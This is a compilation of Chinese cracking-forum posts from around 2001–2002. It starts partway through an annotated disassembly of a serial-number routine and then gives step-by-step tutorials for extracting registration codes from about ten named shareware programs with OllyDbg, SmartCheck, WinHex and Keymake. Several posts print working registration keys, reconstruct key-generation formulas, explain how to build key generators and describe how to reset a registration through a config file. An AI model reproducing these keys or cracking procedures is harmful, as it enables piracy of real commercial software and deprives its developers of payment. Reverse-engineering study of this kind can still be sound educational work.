0041EB37 |.>MOV DWORD PTR DS:[EDX-4],EDI
0041EB3A |.>LEA EDI,DWORD PTR DS:[EAX-2]
0041EB3D |.>CMP EDI,10
0041EB40 |.>JB SHORT SUPERCAP.0041EB25//从0041eb25处到这里的循环不知道是干什么的，谁跟我说说，谢谢！！
0041EB42 |.>XOR EBX,EBX
0041EB44 |.>XOR EDX,EDX
0041EB46 |.>MOV EDI,ESI
0041EB48 |.>SUB ESI,EBP
0041EB4A |.>LEA ECX,DWORD PTR SS:[ESP+14]
0041EB4E |.>LEA EAX,DWORD PTR SS:[EBP+1]
0041EB51 |.>MOV DWORD PTR SS:[ESP+10],ESI
0041EB55 |>>MOVSX ESI,BYTE PTR DS:[EAX-1] //此处向下开始将机器ID做变换,此时，DS:[EAX-1]中存放的是机器码的第一个字符，将它送到ESI
0041EB59 |.>MOVSX EBP,BYTE PTR DS:[EDI]//DS:[EDI]中存放着“SC30”的第一个字符，将它送到EBP
0041EB5C |.>ADD ESI,EBP //“S”加上机器码的第DS:[EAX-1]个字符，结果送到ESI
0041EB5E |.>ADD EDI,2 //EDI加2，EDI中存放着“SC30”
0041EB61 |.>MOVSX EBP,BYTE PTR DS:[EAX]//机器码的第DS:[eax]字符送到EBP，第一遍经过此行是，是机器码的第二个字符
0041EB64 |.>MOV DWORD PTR DS:[ECX],ESI//ESI的值送到DWORD PTR DS:[ECX]
0041EB66 |.>MOV ESI,DWORD PTR SS:[ESP+10]//将SS:[ESP+10]的值即8C送到ESI
0041EB6A |.>ADD ECX,4 //ECX加4
0041EB6D |.>MOVSX ESI,BYTE PTR DS:[ESI+EAX]//将EAX寄存器中的值加上ESI即加上8C，和送到ESI，执行完此命令后，ESI的值为43，即字符“C”
0041EB71 |.>ADD ESI,EBP //EBP的值即机器码第DS:[eax]字符的16进制数加上43，和存放到ESI
0041EB73 |.>ADD EAX,2 //EAX加2
0041EB76 |.>MOV DWORD PTR DS:[ECX+1C],ESI //ESI的值送到DS:[ECX+1C]
0041EB79 |.>MOV EBP,DWORD PTR DS:[ECX-4] //DS:[ECX+4]的值，即机器码第DS:[EAX-1]个字符加“SC30”的第DS:[EDI]个字符的和，送到EBP
0041EB7C |.>ADD ESI,EDX //EDX的值加上ESI，和送到ESI
0041EB7E |.>ADD ESI,EBP //EPD的值加上ESI，和送到ESI
0041EB80 |.>MOV EBP,ESI //ESI的值送到EBP
0041EB82 |.>IMUL EBP,ESI //EBP*ESI，积放在EBP
0041EB85 |.>ADD EBX,EBP //EBX+EBP，和放在EBX
0041EB87 |.>INC EDX //EDX加1
0041EB88 |.>CMP EDX,8 //EDX与8作比较
0041EB8B |.>JB SHORT SUPERCAP.0041EB55 //EDX小于8就跳，从0041eb55处到此是将机器ID做变换的代码。总结一下它的算法，设机器码为J，暂且将它从高到低的每一位设为J0,J1,J2,J3,J4,J5,J6,J7,J8,J9,Ja,Jb,Jc,Jd,Je,Jf，将他们作如下计算：
((J1+C)+(J0+S))^2+((J3+0+1)+(J2+3))^2+((J5+2)+J4)^2+((J7+3)+J6)^2+((J9+4)+J8)^2
+((Jb+5)+Ja)^2+((Jd+6)+Jc)^2+((Jf+7)+Je)^2
最后的结果存放到EBX，后面会用到！！
0041EB8D |.>MOV EDI,DWORD PTR SS:[ESP+A0]
0041EB94 |.>MOV ECX,1 //用1初始化ECX
0041EB99 |.>XOR ESI,ESI //ESI清零
0041EB9B |>>MOV EAX,ECX //ECX的值送到EAX，这里向下开始计算正确注册码
0041EB9D |.>MOV EBP,DWORD PTR SS:[ESP+ESI+14]//SS:[ESP+ESI+14]的值送到EBP,此处SS:[ESP+ESI+14]里放的是什么东东，谁能告诉我？？？
0041EBA1 |.>IMUL EAX,ECX //EAX*ECX，实际上就是求ECX的平方，积送到EAX
0041EBA4 |.>ADD EAX,EBP //EAX加EBP，和送到EAX
0041EBA6 |.>MOV EBP,DWORD PTR SS:[ESP+ESI+54]//SS:[ESP+ESI+54]的值送到EBP,此处SS:[ESP+ESI+54]里放的是什么东东，谁能告诉我？？？
0041EBAA |.>IMUL EAX,EBX //EAX*EBX，此处的EBX就是上面根据机器码计算出来的数
0041EBAD |.>AND EAX,FF //EAX加FF，实际上就是保留EAX的低8位，其它位清零
0041EBB2 |.>XOR EDX,EDX //EDX清零
0041EBB4 |.>ADD EAX,EBP //EAX加EBP，和送到EAX
0041EBB6 |.>MOV EBP,1A //将1A送到EBP
0041EBBB |.>DIV EBP //EAX整除EBP，余数送到EDX
0041EBBD |.>ADD ESI,4 //ESI加4
0041EBC0 |.>MOV AL,DL //将DL的值送到AL，实际上就是将余数送到EAX
0041EBC2 |.>MOV DWORD PTR SS:[ESP+ESI+10],EDX//EDX的值送到
SS:[ESP+ESI+10]
0041EBC6 |.>ADD AL,41 //AL加41，这就是我们的注册码
0041EBC8 |.>MOV BYTE PTR DS:[EDI+ECX-1],AL//AL的值送到DS:[EDI+ECX-1]
0041EBCC |.>INC ECX //ECX加1
0041EBCD |.>LEA EDX,DWORD PTR DS:[ECX-1]//DS:[ECX-1]的值送到EDX
0041EBD0 |.>CMP EDX,10 //EDX与10作比较
0041EBD3 |.>JB SHORT SUPERCAP.0041EB9B //EDX小于16就继续循环，从0041eb9b到此处是根据上面换后的机器ID计算正确注册码的代码。
上面这段代码循环16次后，就完全计算出了正确的注册码，注册码放在EDI中，由于有两个东东不知到是什么东西，所以呢，算法就不好总结了，相信大家一看就明白了，很简单的算法。不知哪位大哥能告诉我那两个东西是什么。
讲了这么多废话，终于将它的注册算法说完了，还请大家指出其中的错误，让小弟我更上一层楼，在此谢谢了！！

最后还要说一点废话：
如果你还想注册一遍的话，请用ultraedit打开软件目录下的scconfig30.cfg这个文件，在偏移量为00000190h附近，存放着你的注册码，将它全部改为0就又可以注册了，如果你嫌太麻烦，干脆就将这个文件删了，不过这样你的个性设置也没有了！
唉，破这个软件只费了10分钟还不到，写它的破解过程却花了我一下午的时间，累死我了，希望大家喜欢我写的文章。 :)

Cracker:Turkey/灭害灵
2001.12.20@20:37

欢迎转载，请保持其完整性！


精诚MP3多功能播放器V2.0+

 标 题:用ollydbg破精诚MP3多功能播放器V2.0+用Keymake做注册器 (906字)
发信人:木瓜多瑙河[BCG]
时 间:2002-2-9 20:38:27
详细信息:
简介：播放MP3
工具：ollydbg+Keymake

难度：4级（共十级）
步骤：
1.加载软件
2.Alt+E切换到Executable modules模式
3.选中MSVBVM60.dll
4.单击右键选择View Name
5.输入vbastrcmp
6.单击F2,下断点
7.F9,运行软件
8.找注册的地方。（很小的！！，我找了半天！！）
9.输入注册码
10.按下注册按钮
11.弹出窗口，这时被中断
12.ollydbg中断在 660614AB >FF7424 08 PUSH DWORD PTR SS:[ESP+8]
13.右边的窗口中就有注册码

a.启动keymake
b.按下F8,选择另类注册器（这是因为我笨，不会算法）
c.选定精诚MP3多功能播放器V2.0
d.然后选择“添加”
e.输入刚才被ollydbg中断的地址 660614AB >FF7424 08
~~~~~~~~~ ~~
中断地址 第一字节
f.再输入中断1次，和指令长度为5
g.再选择“添加”
h.在右边注册码内选择——内存方式
i.寄存器+EDX(因为刚才ollydbg中的对比中真的注册码在EDX中）
j.输入用户信息+生成+选择注册器外观

完工~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


全功能数字时钟

 标 题:用Ollydbg破解全功能数字时钟（想学用Ollydbg破VB的必看！） (1千字)
发信人:菩萨[BCG][CNCG]
时 间:2001-11-3 14:04:34
详细信息:
全功能数字时钟（http://www.csdn.net/soft/openfile.asp?kind=1&id=14184）：
所有输入都支持复制.粘贴等功能，还提供电脑开机时间统计，只要打开【电脑开机时间】你就可以看到不断跳动的数字了啦，该数字以毫秒为基数单位，闹钟提示语可以是很长很长的语句(只要不超过30000字左右就可以了啦），全功能数字时钟她提供了标准时间的显示，还有公历年月日，以及星期等当然也包括农历的年月日还有农历属象，农历节气，和世界节假日提示，同时还提供了部分小点子，如果你把鼠标放到节假日提示框上面稍作停留，就可以看到不同的提示^_^，还有阴阳历查询功能，只要选择好日期，下面就会显示出相应的农历年月日，当然如果正好是有节气的，那么还有节气提示。（好了，抄得我好累：））

先下载安装，用language看一下，没有加壳，爽！再仔细一看，晕倒，VB的！本来碰到这种程序我只能uninstall,但看了一些ollydbg的教程，决定试一试！运行Ollydbg,打开全功能数字时钟。exe，F9运行！嗯！提示注册！靠！6个大框框，来试试，返回Ollydbg,查看--〉模块---〉选MSVBVM60.DLL，再在左上框里点右键，选名称，然后在框里选中__Vbastrcomp,按F2下断点，在框里填入，12345-23456-34567-45678-56789-12345678987654321，下一步！被Ollydbg断，返回！再右下角框里看到什么，一排12345678987654321，下面是另外一排数字，记下！再按F9,看到什么？呵呵~~出来56789的真注册码，按部就班，再按4下F9,搞定另外四个框，关闭Ollydbg！
重新运行全功能数字时钟，填入注册码，我的是WCL7R-XF457-74486-123Q5-WrGzs-55G3532434478915688!
OK!收工！怎么样，用Ollydbg破VB是不是一只鼎（沪语：顶呱呱）！


水芯 Flash播放器 v1.0

 标 题:用ollydbg破《水芯 Flash播放器 v1.0》 (514字)
发信人:木瓜多瑙河[BCG]
时 间:2002-2-9 21:59:34
详细信息:
简介：
1.支持播放列表功能2.支持音量的调节，有静音功能键3.支持播放质量的调节4.支持大窗口播放5.可以存储和读取播放列表。
工具：ollydbg+keymake
级别：3级（一共十级）
步骤：
1.加载软件
2.Alt+E切换到Executable modules模式
3.选中oleaut32.dll
4.单击右键选择View Name
5.输入VarBstrCmp
6.单击F2,下断点
7.F9,启动软件
8.输入注册网站（好象是他给的）和注册码
9.按下“输入”按钮
10.被中断在653BB9B9 >55 PUSH EBP
11.在右下角的里有真的注册码

注册网站：http:\\www.shareware.com.cn
注册码：789000


PCPro(PigChamp Pro) v3.0.23

 标 题:PCPro(PigChamp Pro) v3.0.23注册码的计算(VB程序，非常简单) (3千字)
发信人:robot
时 间:2001-10-8 15:00:05
详细信息:
软件简介机注册机制：猪场管理软件，一个专业方面的软件。VB 6.0程序，CD-KEY为：100-5410，演示版有30天或40次使用的限制，注册时可以选择标准版、PLUS版或咨询顾问版等，程序根据选择版本的不同产生软件的序列号，软件序列号的产生使用了Randomize函数并调用了GetVolumeInformationA这个API，因此每台机器每次产生的的序列号是不同的，那么我们就不能自动产生序列号以及自动产生注册码了。序列号产生后，会根据序列号生成注册码并进行注册比较。但不管什么版本的序列号，其生成的注册码的过程是一样的，我们的目标就是分析其注册码的产生过程。
下载地址：http://www.pigchampinc.com/products/pcprodownload.htm
使用工具：SmartCheck 6.20，IDA Pro 4.15
注册计算过程：
首先安装PCPro，运行SmartCheck，配置好SmartCheck后，运行PCPro，软件运行过程可以在SmartCheck看到，保存成SmartCheck文件。用IDA反编译PCPro.exe，下面为反编译的结果。需要说明的是，下面的反编译结果，考虑到篇幅的关系，去掉了无关紧要的语句，因此并不完整，不要将反编译的内容照抄进行对照，应结合相应的语句标号进行对照。
在SmartCheck中，找到相应click的InputBox函数，向下找len函数，可知该函数的发生是在PCPro.exe的44CAAC处，加上基址400000，则该函数在IDA中就是84CAAC，如下：
:0084CAAC call __vbaLenBstr ====> 序列号的长度
:0084CAC3 call rtcLeftCharVar ====> 左取序列号字符，长度不定，即不包含硬盘序列号部分
:0084CAE6 call __vbaLenBstr ====> 所取序列号的长度

从84CAFB-84CC1A利用mid函数将所取序列号中的连字符“-”去掉，过程略

:0084CC22 call __vbaR8Str ====> 转为双精度型
:0084CC27 fstp qword ptr [ebp-38h] ====> 存到[ebp-38h]
:0084CC3A call __vbaLenBstr ====> 输入的注册码的长度
:0084CC49 call __vbaI2I4 ====> 转为整型

从84CC57-84CD5B利用mid函数分别取输入的注册码各字符，测试是否是数字，如果不是，则给出错误信息，过程略

:0084CD78 call __vbaR8Str ====> 输入的注册码转为双精度型
:0084CD7D fstp qword ptr [ebp-30h] ====> 存到[ebp-30h]
:0084CD80 fld qword ptr [ebp-38h] ====> 调入序列号
:0084CD83 fsub ds:dbl_407788 ====> 407788的值为56551
:0084CD92 fdiv ds:dbl_401ED8 ====> 401ED8的值为5
:0084CDBA fsubr qword ptr [ebp-38h] ====> 相减
:0084CDBD fadd ds:dbl_407780 ====> 38341
:0084CDC3 fmul ds:dbl_406470 ====> 乘7
:0084CDD3 fstp qword ptr [ebp-0C4h] ====> 存到[ebp-0C4h]
:0084CDD9 fld qword ptr [ebp-38h] ====> 调入
:0084CDDC fadd ds:dbl_407778 ====> 48342
:0084CDEB fdiv ds:dbl_401D68 ====> 除以2
:0084CE0A call __vbaFPInt
:0084CE0F fsubr qword ptr [ebp-0C4h] ====> 相减
:0084CE1B call __vbaFpR8
:0084CE20 fcomp qword ptr [ebp-30h] ====> 进行比较

在SmartCheck中，84CE1B中的值是可看到的，也就是该注册码，但由于该注册码太长，在SmartCheck中是用科学记数法显示的，因而不能看到全部的数字。
计算过程：设生成的要参与计算的序列号为sn
((sn-int((sn-56551)/5)+38341)*7)-int((sn+48342)/2)
例如：序列号为84802-47223-824-9654，则左取的字符sn为8480247223824，经上面计算注册码为43249261164894，测试一下，注册成功，做个注册器，选择不同版本反复注册，均注册成功。
该软件如果输入的注册码不对，会退出，但其中还有一个计算，则是输入该注册码后，不会退出，又变成Unregisted版，有兴趣的可以试试找出来，很简单的。


PopUp Killer 1.41

 标 题:注册你的 PopUp Killer 1.41 (1千字)
发信人:oake
时 间:2002-1-6 11:43:54
详细信息:
程序名称：PopUp Killer 1.41
软件简介：该软件可以关闭浏览器中自动弹出的窗口。并可以自定义黑名单。
下载地址：http://202.102.249.209/files/ftproot/4/puksetup141d3.exe
破解目的：找出注册码。
工具： NuMega SmartCheck 6.20 (Build 1286) RC2
下载地址：http://www.crackbest.net/unlock/debug/smartcheck6_2.zip
说明：该软件是自由软件(免费软件?),VB 5.0 编译，PECompact 压缩。软件
说明中明确指出可以不注册。我当初破解它是为了学习 SmartCheck 的用法。

进入主题：用 SmartCheck 载入 PopUp Killer ，设置好 SmartCheck 的选项
(参考看雪兄的《加密与解密》P189-190)，按F5键，然后.....喝一杯水去吧，
很慢的:)。看见你的电脑时间前面是不是出现一个‘闪电’图标，双击它，会
出现一个对话框，点击 About 选择注册，填写：
Your Name:oake
Product Serial Number:8448844865495448454894 <==软件自动生成
License Code:abcdefghijklmnop

点击 OK ,会弹出一个错误对话框，选择 SmartCheck Program/End命令 <=重点
SmartCheck 会问是否停止程序，点击确定。我们返回到 SmartCheck

选择 Events 页，
拉到最后，可以看到 _Click. 点击它，点击View/Show All Events 命令，再
点击_Click前面的 +展开。
来到最后，可以看到第一个 _vbaStrCmo returns DWORD:1
点击它看到什么？I65-J6JP-OL56I 和 abcdefghijklmnop
再看看第二个 _vbaStrCmP returns DWORD:1
看到什么？ $J45-6KI6-HL654I 和 abcdefghijklmnop

重新运行 PopUp Killer 填入 I65-J6JP-OL56I 或 $J45-6KI6-HL654I 成功！

总结： Your Name:oake
Product Serial Number:8448844865495448454894
License Code:I65-J6JP-OL56I 或 $J45-6KI6-HL654I

该软件的注册码与 Product Serial Number 有关，与注册名无关。


田雨软件-Real 格式文件压缩至尊V1.5

 标 题:小小黑(申请加入BCG第一篇破文) (7千字)
发信人:小小黑
时 间:2001-10-17 6:59:22
详细信息:
小小黑(申请加入BCG第一篇破文)

顺便介绍SmartCheck、WinHex和OllyDbg破解工具的一些使用方法!

软件: 田雨软件-Real 格式文件压缩至尊V1.5
功能: 将VCD、CD压缩成RM格式文件
主页: http://tyuweb.yeah.net
开发程序：VB 6.0

====================================================================
一、用SmartCheck 3.0破解 田雨软件-Real 格式文件压缩至尊V1.5 的注册码
====================================================================

大家都知道VB的程序是比较难调试的啦~幸亏有了这个好软件~~呵呵

破解密方法:
用SmartCheck 3.0载入软件，稍微等待一下，软件启动后马上弹出“你可以使用 30天”的提示！确定后既进入程序主界面。

帮助----->注册本软件----->生成识别码
然后按软件说明放入一张软盘(其实这一步骤可以省略*为什么？看后面的备注) JMP

*什么,你没有软驱!晕~~ 用subst命令啦~
在C:新建一个文件夹名为[A]
Ms-Dos 方式输入下面命令:
c:\subst A: C:\A
这样就映射了C盘A目录为A盘了

帮助----->注册本软件----->输入注册码
随便放入一张软盘,随便输入一个注册码,输入 78787878 (看教程太多,习惯了,出了名的78大法~)
确定后弹出“你输入的注册码不正确,请尽快与作者联系”

把操作界面换到SmartCheck中，看到了一大堆操作记录！
点最后一个记录

+zhuce_Click
| -Form7.Show
| | -Command1_Click
| | | -Form10.Show
| | | | -Command1_Click
| | | | OnError
| | | | Chr$
| | | | xxxxxxx(省略)
| | | | xxxxxxx
| | | | xxxxxxx
| | | | xxxxxxx
| | | | xxxxxxx
| | | | xxxxxxx
| | | | Text7.text <--"21850-6583"(String)《====这就是本机器的注册码了!成功了!
| | | |
| | | |

备注:
这软件的注册码和用户姓名无关，软件中的生成识别码是让程序生成一个机器码发给软件作者,
然后作者通过机器码算出注册码给用户的.

============================================================
二、用WinHex 破解田雨软件-Real 格式文件压缩至尊V1.5 的注册码
============================================================

什么你不知道WinHex是什么东东？那你快回去zzzZZZZ 看看周公会不会告诉你！呵呵！

首先运行软件，安照上面的方法注册！
随便放入一张软盘,随便输入一个注册码,输入 7878787878 (看教程太多,习惯了,出了名的78大法~)
确定后弹出“你输入的注册码不正确,请尽快与作者联系”注意，不要关闭这个错误的提示!

马上运行WinHex

ALT+F9 编辑Tyureal的(主内存)

查找 78787878 (找到两次）

在第二次 78787878 的下面就可以看到 :

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

00468E10 BC 8D 46 00 24 00 00 A0 14 00 00 00 37 00 38 00 紞F.$..?...7.8.
00468E20 37 00 38 00 37 00 38 00 37 00 38 00 37 00 38 00 7.8.7.8.7.8.7.8.
00468E30 00 00 00 00 00 00 00 00 24 00 00 A0 0A 00 00 00 ........$..?...
00468E40 E8 6C 8A 51 66 8B 4A 54 3A 00 00 00 37 00 38 00 鑜奞f婮T:...7.8.
00468E50 37 00 38 00 00 00 00 00 20 22 22 22 24 00 00 A0 7.8..... """$..?
00468E60 14 00 00 00 32 00 31 00 38 00 35 00 30 00 2D 00 ....2.1.8.5.0.-. <===看到注册码了吗？
00468E70 36 00 35 00 38 00 33 00 00 00 00 00 AA AA A2 00 6.5.8.3.....? <==================

收工了~呵呵!

============================================================
三、用Ollydbg破解田雨软件-Real 格式文件压缩至尊V1.5 的注册码
============================================================
过程:
1、用OllyDbg加载田雨软件-Real 格式文件压缩至尊V1.5。这时候OllyDbg右下角显示黄色"Paused"程序被中断了，按F9继续执行。
2、主程序界面启动后,按照上面说到的步骤注册,当填好[假]注册码:7878787878的时候，先别按确定。
3、到OllyDbg操作界面ALT＋E选择到MSVBVM60.dll模块，按鼠标右键，选择“Search for ->Name (label)”或者“Ctrl+N" 出现软件所调用函数的窗口，向下拉动找到VB函数__vbaStrvarval 并选择它,按下F2设置中断。
4、回到主程序，点注册，OllyDbg拦截住，看看右下角的调试框的内容好象没什么东西，滚动条往下拉一点,咦! UNICODE "21850-6583" 这是什么东东呀~~ 哈哈哈~~又搞定了~

================================================================
四、用keymak13制作田雨软件-Real 格式文件压缩至尊V1.5的另类注册机
================================================================
用w32dasm反编译，无法看到相关字串!
试用TWR动态跟踪
运行田雨软件-Real 格式文件压缩至尊V1.5!
按照上面说到的步骤注册,当填好[假]注册码:7878787878的时候，先别按确定
Ctrl+N 下断点 bpx hmemcpy
回主程序按注册！程序中断
BD*
pmodule来到这里
--------------------------------------------------------------------
* Reference To: MSVBVM60.rtcInputBox, Ord:0254h
|
:00442F62 FF1574104000 Call dword ptr [00401074]
:00442F68 898534FEFFFF mov dword ptr [ebp+FFFFFE34], eax <====中断在此
:00442F6E C7852CFEFFFF08000000 mov dword ptr [ebp+FFFFFE2C], 00000008 <====D EAX 看到假注册码
:00442F78 8D952CFEFFFF lea edx, dword ptr [ebp+FFFFFE2C]
:00442F7E 8D8D20FFFFFF lea ecx, dword ptr [ebp+FFFFFF20]
:00442F84 FFD7 call edi
:00442F86 8D8D3CFEFFFF lea ecx, dword ptr [ebp+FFFFFE3C]
:00442F8C 51 push ecx
:00442F8D 8D954CFEFFFF lea edx, dword ptr [ebp+FFFFFE4C]
:00442F93 52 push edx
:00442F94 8D855CFEFFFF lea eax, dword ptr [ebp+FFFFFE5C]
:00442F9A 50 push eax
:00442F9B 8D8D6CFEFFFF lea ecx, dword ptr [ebp+FFFFFE6C]
:00442FA1 51 push ecx
:00442FA2 8D957CFEFFFF lea edx, dword ptr [ebp+FFFFFE7C]
:00442FA8 52 push edx
:00442FA9 8D858CFEFFFF lea eax, dword ptr [ebp+FFFFFE8C]
:00442FAF 50 push eax
:00442FB0 8D8D9CFEFFFF lea ecx, dword ptr [ebp+FFFFFE9C]
:00442FB6 51 push ecx
:00442FB7 6A07 push 00000007
:00442FB9 FFD6 call esi
:00442FBB 83C420 add esp, 00000020
:00442FBE C745FC0F000000 mov [ebp-04], 0000000F
:00442FC5 8B4508 mov eax, dword ptr [ebp+08]
:00442FC8 8B10 mov edx, dword ptr [eax]
:00442FCA 50 push eax
:00442FCB FF92FC020000 call dword ptr [edx+000002FC]
:00442FD1 50 push eax
:00442FD2 8D85ACFEFFFF lea eax, dword ptr [ebp+FFFFFEAC]
:00442FD8 50 push eax

往下面走！来到这里
-------------------------------------------------------------------
* Reference To: MSVBVM60.__vbaStrVarVal, Ord:0000h
|
:004431D4 FF152C114000 Call dword ptr [0040112C] <====关键Call 注册码就在里面换算的(我是菜鸟，看不懂算法)
:004431DA 50 push eax <==== D EAX 就可以看到真注册码
:004431DB 8BCF mov ecx, edi
:004431DD 8BBD54FDFFFF mov edi, dword ptr [ebp+FFFFFD54]
:004431E3 57 push edi
:004431E4 FF91A4000000 call dword ptr [ecx+000000A4]
:004431EA DBE2 fclex
:004431EC 85C0 test eax, eax
:004431EE 7D12 jge 00443202
:004431F0 68A4000000 push 000000A4
:004431F5 680C504100 push 0041500C
:004431FA 57 push edi
:004431FB 50 push eax

开始制作另类注册机了!
运行keymak13
F8 另类注册机
浏览C:\Program Files\Real格式文件压缩至尊v1.5\tyureal.exe
在中断列表里添加中断地址：

中断地址: 4431DA
中断次数: 1
第一字节: 50
指令长度: 1

选择内存方式，钩选EAX 再钩选Wide格式（出现在VB程序中用00将ASCII码分隔开）

最后生成!OK~~注册就就制作完成了~~

后记：
唉~~累死我了~~我写了一个通宵了，嘻嘻嘻~~(好奸笑) 能不能通融一下,省了我剩下的两篇的破文呀~~
俺是第一次写文章呀，有错的地方请多多包涵，并给我指正!

==============================================
作 者: 小小黑
E-mail: crackerxxh@21cn.com
好辛苦才写到的呀！转载请保持完整!谢谢~

2001/10/17 7:00


WINDOWS整容专家V1.00

 标 题:用NuMega SmartCheck 破解WINDOWS整容专家V1.00 (1千字)
发信人:木瓜多瑙河
时 间:2001-9-16 12:08:49
详细信息:
本人乃一初三学生，与llufh一起学习破解，但他如今早已成为一代破解宗师，而在下才刚刚会了一点皮毛，令在下无言以对～～～～～～～～～～～～～～～～～～～～～
此乃本人的处女作历程，由于是初“犯”，便有很多欠缺，望海量！！！！！

目标软件：WINDOWS整容专家V1.00

本软件修改IE和桌面的各种图标、标题和TOOLBAR上的按钮，自动更换桌面背景，清除机器中的木马病毒，设定开机提示等。

下载地址：http://www.shareware.net.cn/download.asp?id={73A8F516-8F16-4629-B04C-8F7E776F6DA9}

目的：1.好玩
2.想让自己电脑里的软件都有自己名字，而不是别人的。
3.想与一代宗师比高低。（有点狂妄）

工具：NuMega SmartCheck 6.03

本人一向反对复杂、难的任何事物，偶尔一日在网上看见一篇用NuMega SmartCheck破解彩票王5.0，发现其极为简单，便深深爱上他！！！！但直到如今才刚刚算是会了一丁点～～～～～～（对不起，和llufh一样写了一大队废话）

开始动工
运行NuMega SmartCheck （这不用写的十分详细了吧）

打开IeIcon.exe（就是WINDOWS整容专家的主程序）

接着再按F5运行

进入WINDOWS整容专家的用户注册项

打入
Name：erwim Code：7758258（注册码当然是假的，只是为了好记）

再按注册，这时跳出一个对话框——注册码错误（这是当然的，按不按确定无所谓）

切换到NuMega SmartCheck，并激活IeIcon.exe-Program Results的窗口。

展开最后一项Click。（就是前面带＋的Click）

然后按照破彩票王5.0的方法去找注册码——就是倒数第3个Mid，然后发现String＝004538D8，原以为这就是注册码，一试55555555555～～～～～～～～～～～失败！！！！！！本以为这次又失败了！！！突然想起llufh破出的注册码全部是数字，而且是12位。

我便以此为线索，继续找。（实际破解是十分苦的）

终于我从第十一个Mid起开始发现了一大队十位数。数数正好加起来等于12位。（注：从上往下一个一个累计，不是用计算机一个一个加起来）

我机器上上是以Long[43]-->String("43")为起点直到Long[47]-->String("47")的。

总算出来了

Name：erwim Code:4349514547

简单吧！！！就是废话太多！！！！还有什么不清楚的就问吧！！！

我也有个问题这软件的注册码是怎么算出的？？？？？？


财神电话薄

 标 题:用smartcheck破《财神电话薄》（用pcode编的） (965字)
发信人:木瓜多瑙河[BCG]
时 间:2002-1-30 10:49:30
详细信息:
用smartcheck破《财神电话薄》（用pcode编的）
简介：本软件属于共享软件，在不注册的情况下仍然可以使用，但
是使用的次数到了一定的时后就会出现提示。不用担心，这
只是试用限制的生效，如果已经注册了，就不会有这个限制
了。如果要注册本软件，请来信向我联系。
（注：我是看中他名字才破的。）
工具：smartcheck
级别：3级（一共十级）
步骤:1. 用smartcheck载入（Q:你怎么知道是VB的A:他主页上写着）
2.在注册信息里输入你的注册名和注册码
3.按确定，突然跳出一个对话框——注册码不对（Q:怎0么会不对A:这当然是假的拉，你又没付钱买。）
4.切换到smartcheck选择
—CmdRegload_Click
............
-frmRegUser.Show
+CmdReg_Click
Mid==============选择这个
5.在通过菜单选择View——Show All Events
6.用键盘按“↓”7下，来到sysfreestring，这时右边的窗口就出现了真的注册码。

注意：此方法只是用于追注册码，不利于编程。是CCG极力反对的，如果想通过破解来提高自己破解水平，就请打道回府。
我的注册码——name：erwim code：100106569

木瓜多瑙河[BCG][FCG][CNCG]
2002.1.30


彩票博士2001

 标 题:XY2000 <-- 加入 [BCG] 第一篇（彩票博士2001） (807字)
发信人:*
时 间:2001-10-12 16:52:04
详细信息:
先运行彩票博士2001

打开数据库糊乱选择一种彩票内型 退出

在次启动彩票博士2001 出来个框框

填入 姓名 密码（记住填入8-10位的密码） 等等信息

进去了 点注册 看见系列号：8872-4642-4949

退出彩票博士2001

用 SmartCheck 6.03 打开彩票博士2001

等待装载。。。。。。。

等了很久。。。进入。。。点注册

填入开始时填写的密码（什么忘记！搞什么搞嘛！）

下面的那个可填可不填

根据Crack经验还是填入：1212-1212-1212

点注册按钮 等待SmartCheck加载完毕

找到　㈩-chick 展开

当看到Mid＄(string,"887246424949",long:1,VARIANT,integer:6)

此为软件序列号

向下找。。。

len(string:"152455721660”）returns LONG:1 <-- 选此项

在右侧的框框中看见注册号 --> “152455721660”

什么又没看见？肯定被Crack出了近视 出去活动活动 做做操

这里下栽彩票博士2001 http://cpbs.clhz.net/index.htm


魔装网神 2.7

 标 题:我终于破解了魔装网神了，破解过程！！，不过是用2.70破解的。 (1千字)
发信人:gemstone_3[BCG]
时 间:2001-10-15 1:57:56
详细信息:
破解作者：gemstone_3[BCG]

软件作者主页：http://www.fastale.com/cnindex.html

软件名称：魔装网神 v3.20

软件下载地址：http://www.fastale.com/downloads/netmyth.zip

软件简介：

魔装网神是一个浏览器，主要特点如下：
可以更换界面(Skins)，软件更漂亮。
由于对系统缓存的最佳利用，软件的浏览速度比IE要快。
魔装网神占用的内存比其他全副武装的软件要少得多。
魔装网神平均每开15页占用1%系统资源，而一个IE就4%。
能设置255个主页地址，方便打开你最常用的网页。
一些网站在状态栏有字幕滚动效果，阻碍了用户观察当前网页读取状况、链接地址，现在你可以关闭掉这种效果。
加入了黑名单功能，可以过滤掉指定的广告或不喜欢的网址。

脱壳使用软件：UnPECompact v1.31

破解使用软件: FI v2.45 SmartCheck v6.03

破解方法：
先用FI 2.45查出软件壳是PECompact v0.976.1。(脱壳）运行UnPECompact 1.31点开始打开netmyth.exe(魔装网神可执行文件），程序自动找到程序入口。只要把脱壳的文件另存为就可以了，我另存为cr_netmyth.exe。运行cr_netmyth.exe点击菜单-->帮助-->关于-->注册。输入注册信息：
用户名: gemstone
注册码：123456789 ( 当然是假的 :P

启动SmartCheck并载入运行cr_netmyth.exe,经过很长一段时间的等待。魔装网神进入主界面，然后在SmartCheck的工具栏单击END图标结束魔装网神的运行。看一下SmartCheck左边的窗口有一个“+ _Load”字样，它实际上是程序启动的过程，点击+打开。出来很多内容，继续往下面看还有一个“+ _Load”字样，再点+图标，在“UCase”下找到“这是一个什么我忘了”和“gemstone”字样，再往下一看是“HEX”，这才是关键所在。“HEX”在SmartCheck右边窗口中的内容如下：

- string (variant)
- signed lpng * .plVal = 006CF1B4
Long = 这个是什么我忘了 0x0245A5D39 这就是我们要的注册码

破解时间：2天多经过过数次失败，注册错N次。最后终于成功了（是在看雪老师的精华III里看到，有个2.5的破解，就照着做了一下，大家可以参考这个来做），谢谢看雪！！！。


FlaxFX v1.31

 标 题:FlaxFX v1.31 (109字)
发信人:[最弱智]
时 间:2001-9-29 9:22:48
详细信息:
RegKey: ZLVKVI-The_Lamer-WEKHCDCWFDPHHM444M324KU

FlaxFX安装在C盘。

断点设在GetDiskFreeSpace上就可以了。

标 题:一些拆解的经验 - 关于flaxfx (285字)
发信人:[最弱智]
时 间:2001-9-29 9:27:43
详细信息:

像flaxfx这种东西绕来绕去实在讨厌，但是分析出一个注册码的格式应该不难。

输入一个格式正确的注册号之后，在注册对话框里面按ok之前先运行某个能监控进程api调用的程序，比如apimon之类，看看它都干了什么。很容易发现它要取flaxfx所在磁盘的信息，这个大大可疑。赶紧把断点设上。之后就没什么难度了。


FI原理

 标 题:FI原理 (1千字)
